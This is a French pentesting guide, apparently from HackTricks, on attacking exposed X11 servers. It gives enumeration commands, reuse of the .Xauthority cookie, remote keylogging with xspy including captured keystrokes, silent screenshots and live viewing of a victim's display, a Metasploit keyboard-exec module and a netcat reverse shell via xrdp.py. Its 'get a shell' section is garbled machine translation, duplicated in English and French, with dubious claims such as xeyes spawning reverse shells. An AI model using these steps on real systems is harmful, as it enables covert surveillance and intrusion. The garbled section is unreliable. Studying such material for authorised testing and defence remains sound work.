14 KiB
6000 - Pentesting X11
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? Ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende du hacker web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Informations de base
Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique. X ne spécifie pas non plus l'interface utilisateur - chaque programme gère cela.
À partir de : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Port par défaut : 6000
PORT STATE SERVICE
6000/tcp open X11
Énumération
Vérifiez la connexion anonyme :
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Énumération locale
Le fichier .Xauthority
dans le dossier personnel de l'utilisateur est utilisé par X11 pour l'autorisation. D'après ici:
MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans ~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
Pour utiliser le cookie, vous devez définir la variable d'environnement : export XAUTHORITY=/chemin/vers/.Xauthority
{% endhint %}
Vérifier la connexion
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy pour intercepter les frappes du clavier.
Exemple de sortie :
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Capture d'écran
Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les vulnérabilités découvertes. Les captures d'écran peuvent également être utilisées pour illustrer les résultats du test de manière visuelle.
Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil xwd
. Cet outil est généralement inclus dans les distributions Linux.
Pour capturer une capture d'écran, ouvrez un terminal et exécutez la commande suivante :
xwd -root -out screenshot.xwd
Cette commande capturera une capture d'écran de l'affichage racine du serveur X11 et l'enregistrera dans un fichier appelé screenshot.xwd
.
Une fois que vous avez capturé la capture d'écran, vous pouvez la visualiser en utilisant l'outil xwud
. Pour afficher la capture d'écran, exécutez la commande suivante :
xwud -in screenshot.xwd
Cette commande ouvrira une fenêtre affichant la capture d'écran capturée.
Il est important de noter que la capture d'écran peut contenir des informations sensibles, telles que des mots de passe ou des données confidentielles. Assurez-vous de traiter les captures d'écran avec précaution et de les supprimer une fois qu'elles ne sont plus nécessaires.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Affichage du bureau à distance
Source : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Pour visualiser en direct, nous devons utiliser
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Obtenir un Shell
To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.
X11 Forwarding
X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.
La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.
To enable X11 Forwarding, you need to set the DISPLAY
environment variable to the IP address of your local machine followed by :0.0
. You can do this by running the following command on the target machine:
Pour activer la redirection X11, vous devez définir la variable d'environnement DISPLAY
sur l'adresse IP de votre machine locale suivie de :0.0
. Vous pouvez le faire en exécutant la commande suivante sur la machine cible:
export DISPLAY=<your_local_ip>:0.0
Once X11 Forwarding is enabled, you can run graphical applications on the target machine and they will be displayed on your local machine.
Une fois la redirection X11 activée, vous pouvez exécuter des applications graphiques sur la machine cible et elles seront affichées sur votre machine locale.
X11 Reverse Shell
Another technique to get a shell on a target machine is by using an X11 reverse shell. This technique involves creating a malicious X11 client that connects back to your machine and spawns a shell.
Une autre technique pour obtenir un shell sur une machine cible consiste à utiliser un shell inversé X11. Cette technique consiste à créer un client X11 malveillant qui se connecte à votre machine et génère un shell.
To create an X11 reverse shell, you can use tools like xterm
or xeyes
to generate the malicious X11 client. Once the client is executed on the target machine, it will establish a connection back to your machine and provide you with a shell.
Pour créer un shell inversé X11, vous pouvez utiliser des outils tels que xterm
ou xeyes
pour générer le client X11 malveillant. Une fois que le client est exécuté sur la machine cible, il établira une connexion vers votre machine et vous fournira un shell.
X11 Port Forwarding
X11 Port Forwarding is another technique that can be used to get a shell on a target machine. This technique involves forwarding the X11 traffic from the target machine to your local machine.
La redirection de port X11 est une autre technique qui peut être utilisée pour obtenir un shell sur une machine cible. Cette technique consiste à rediriger le trafic X11 de la machine cible vers votre machine locale.
To perform X11 Port Forwarding, you can use tools like socat
or ssh
to establish a connection between the target machine and your local machine. Once the connection is established, you can run graphical applications on the target machine and they will be displayed on your local machine.
Pour effectuer une redirection de port X11, vous pouvez utiliser des outils tels que socat
ou ssh
pour établir une connexion entre la machine cible et votre machine locale. Une fois la connexion établie, vous pouvez exécuter des applications graphiques sur la machine cible et elles seront affichées sur votre machine locale.
msf> use exploit/unix/x11/x11_keyboard_exec
Autre méthode:
Reverse Shell: Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:
./xrdp.py <IP:0> –no-disp
Une nouvelle fenêtre de contrôle s'affiche, où nous pouvons voir l'option R-shell, comme illustré ci-dessous:
Nous allons démarrer le mode d'écoute de Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
Shodan
port:6000 x11
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.